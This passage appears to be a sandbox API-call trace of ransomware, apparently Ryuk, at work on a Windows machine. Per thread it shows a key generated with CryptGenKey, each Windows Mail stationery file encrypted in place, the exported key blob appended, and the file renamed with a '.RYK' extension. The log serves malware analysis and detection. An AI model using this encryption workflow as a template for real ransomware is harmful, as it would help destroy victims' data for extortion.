	[0273.829] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3662
	os_tid = 0x3eb0

	[0267.866] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", dwFileAttributes=0x80) returned 1
	[0268.296] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0268.296] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x9bafc38 | out: lpFileSize=0x9bafc38*=1074) returned 1
	[0268.296] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x9bafc48 | out: lpFileSize=0x9bafc48*=1074) returned 1
	[0268.296] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0268.296] ReadFile (in: hFile=0x7b4, lpBuffer=0x9bafc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9bafc00, lpOverlapped=0x0 | out: lpBuffer=0x9bafc90*, lpNumberOfBytesRead=0x9bafc00*=0x19, lpOverlapped=0x0) returned 1
	[0268.299] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.299] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9bafc18 | out: phKey=0x9bafc18*=0x3f7b60) returned 1
	[0268.299] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.299] ReadFile (in: hFile=0x7b4, lpBuffer=0x3780000, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x9bafc24, lpOverlapped=0x0 | out: lpBuffer=0x3780000*, lpNumberOfBytesRead=0x9bafc24*=0x432, lpOverlapped=0x0) returned 1
	[0268.299] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9bafc20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9bafc20*=0xf4250) returned 1
	[0268.299] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3780000*, pdwDataLen=0x9bafc28*=0x432, dwBufLen=0xf4250 | out: pbData=0x3780000*, pdwDataLen=0x9bafc28*=0x440) returned 1
	[0268.299] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.299] WriteFile (in: hFile=0x7b4, lpBuffer=0x3780000*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x9bafc24, lpOverlapped=0x0 | out: lpBuffer=0x3780000*, lpNumberOfBytesWritten=0x9bafc24*=0x440, lpOverlapped=0x0) returned 1
	[0268.299] WriteFile (in: hFile=0x7b4, lpBuffer=0x9bafc50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9bafc30, lpOverlapped=0x0 | out: lpBuffer=0x9bafc50*, lpNumberOfBytesWritten=0x9bafc30*=0x6, lpOverlapped=0x0) returned 1
	[0268.299] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9bafc40 | out: pbData=0x0*, pdwDataLen=0x9bafc40*=0x10c) returned 1
	[0268.299] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9bafcb0, pdwDataLen=0x9bafc40 | out: pbData=0x9bafcb0*, pdwDataLen=0x9bafc40*=0x10c) returned 1
	[0268.300] WriteFile (in: hFile=0x7b4, lpBuffer=0x9bafcb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9bafc30, lpOverlapped=0x0 | out: lpBuffer=0x9bafcb0*, lpNumberOfBytesWritten=0x9bafc30*=0x10c, lpOverlapped=0x0) returned 1
	[0268.300] CloseHandle (hObject=0x7b4) returned 1
	[0268.302] CryptDestroyKey (hKey=0x3f7b60) returned 1
	[0268.302] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\bears.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3663
	os_tid = 0x3eb4

	[0267.867] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", dwFileAttributes=0x80) returned 1
	[0268.304] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0268.304] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x9cbf598 | out: lpFileSize=0x9cbf598*=231) returned 1
	[0268.304] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x9cbf5a8 | out: lpFileSize=0x9cbf5a8*=231) returned 1
	[0268.304] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9cbf578 | out: phKey=0x9cbf578*=0x3f7bd0) returned 1
	[0268.304] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.304] ReadFile (in: hFile=0x7b4, lpBuffer=0x3880000, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x9cbf584, lpOverlapped=0x0 | out: lpBuffer=0x3880000*, lpNumberOfBytesRead=0x9cbf584*=0xe7, lpOverlapped=0x0) returned 1
	[0268.307] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9cbf580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9cbf580*=0xf4250) returned 1
	[0268.307] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3880000*, pdwDataLen=0x9cbf588*=0xe7, dwBufLen=0xf4250 | out: pbData=0x3880000*, pdwDataLen=0x9cbf588*=0xf0) returned 1
	[0268.307] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.307] WriteFile (in: hFile=0x7b4, lpBuffer=0x3880000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x9cbf584, lpOverlapped=0x0 | out: lpBuffer=0x3880000*, lpNumberOfBytesWritten=0x9cbf584*=0xf0, lpOverlapped=0x0) returned 1
	[0268.307] WriteFile (in: hFile=0x7b4, lpBuffer=0x9cbf5b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9cbf590, lpOverlapped=0x0 | out: lpBuffer=0x9cbf5b0*, lpNumberOfBytesWritten=0x9cbf590*=0x6, lpOverlapped=0x0) returned 1
	[0268.307] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9cbf5a0 | out: pbData=0x0*, pdwDataLen=0x9cbf5a0*=0x10c) returned 1
	[0268.307] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9cbf610, pdwDataLen=0x9cbf5a0 | out: pbData=0x9cbf610*, pdwDataLen=0x9cbf5a0*=0x10c) returned 1
	[0268.308] WriteFile (in: hFile=0x7b4, lpBuffer=0x9cbf610*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9cbf590, lpOverlapped=0x0 | out: lpBuffer=0x9cbf610*, lpNumberOfBytesWritten=0x9cbf590*=0x10c, lpOverlapped=0x0) returned 1
	[0268.308] CloseHandle (hObject=0x7b4) returned 1
	[0268.310] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0268.311] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3664
	os_tid = 0x3eb8

	[0268.312] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", dwFileAttributes=0x80) returned 1
	[0268.313] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4
	[0268.313] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x9dcfb78 | out: lpFileSize=0x9dcfb78*=23871) returned 1
	[0268.313] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x9dcfb88 | out: lpFileSize=0x9dcfb88*=23871) returned 1
	[0268.314] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x5c1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0268.314] ReadFile (in: hFile=0x7b4, lpBuffer=0x9dcfbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9dcfb40, lpOverlapped=0x0 | out: lpBuffer=0x9dcfbd0*, lpNumberOfBytesRead=0x9dcfb40*=0x19, lpOverlapped=0x0) returned 1
	[0268.316] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.316] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9dcfb58 | out: phKey=0x9dcfb58*=0x3f7bd0) returned 1
	[0268.316] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.317] ReadFile (in: hFile=0x7b4, lpBuffer=0x3980000, nNumberOfBytesToRead=0x5d3f, lpNumberOfBytesRead=0x9dcfb64, lpOverlapped=0x0 | out: lpBuffer=0x3980000*, lpNumberOfBytesRead=0x9dcfb64*=0x5d3f, lpOverlapped=0x0) returned 1
	[0268.318] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9dcfb60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9dcfb60*=0xf4250) returned 1
	[0268.318] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3980000*, pdwDataLen=0x9dcfb68*=0x5d3f, dwBufLen=0xf4250 | out: pbData=0x3980000*, pdwDataLen=0x9dcfb68*=0x5d40) returned 1
	[0268.318] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0268.318] WriteFile (in: hFile=0x7b4, lpBuffer=0x3980000*, nNumberOfBytesToWrite=0x5d40, lpNumberOfBytesWritten=0x9dcfb64, lpOverlapped=0x0 | out: lpBuffer=0x3980000*, lpNumberOfBytesWritten=0x9dcfb64*=0x5d40, lpOverlapped=0x0) returned 1
	[0268.318] WriteFile (in: hFile=0x7b4, lpBuffer=0x9dcfb90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x9dcfb90*, lpNumberOfBytesWritten=0x9dcfb70*=0x6, lpOverlapped=0x0) returned 1
	[0268.318] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9dcfb80 | out: pbData=0x0*, pdwDataLen=0x9dcfb80*=0x10c) returned 1
	[0268.318] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9dcfbf0, pdwDataLen=0x9dcfb80 | out: pbData=0x9dcfbf0*, pdwDataLen=0x9dcfb80*=0x10c) returned 1
	[0268.319] WriteFile (in: hFile=0x7b4, lpBuffer=0x9dcfbf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x9dcfbf0*, lpNumberOfBytesWritten=0x9dcfb70*=0x10c, lpOverlapped=0x0) returned 1
	[0268.319] CloseHandle (hObject=0x7b4) returned 1
	[0268.321] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0268.322] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\garden.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3666
	os_tid = 0x3ed4

	[0268.323] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", dwFileAttributes=0x80) returned 0
	[0268.323] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.323] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\green bubbles.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3667
	os_tid = 0x3ed8

	[0268.324] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", dwFileAttributes=0x80) returned 0
	[0268.324] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.324] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3668
	os_tid = 0x3edc

	[0268.325] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", dwFileAttributes=0x80) returned 0
	[0268.325] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.326] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\hand prints.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3669
	os_tid = 0x3ee0

	[0268.327] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", dwFileAttributes=0x80) returned 0
	[0268.327] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.327] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.327] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\handprints.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3670
	os_tid = 0x3ee4

	[0268.328] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm", dwFileAttributes=0x80) returned 0
	[0268.328] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.328] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\orange circles.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3671
	os_tid = 0x3ee8

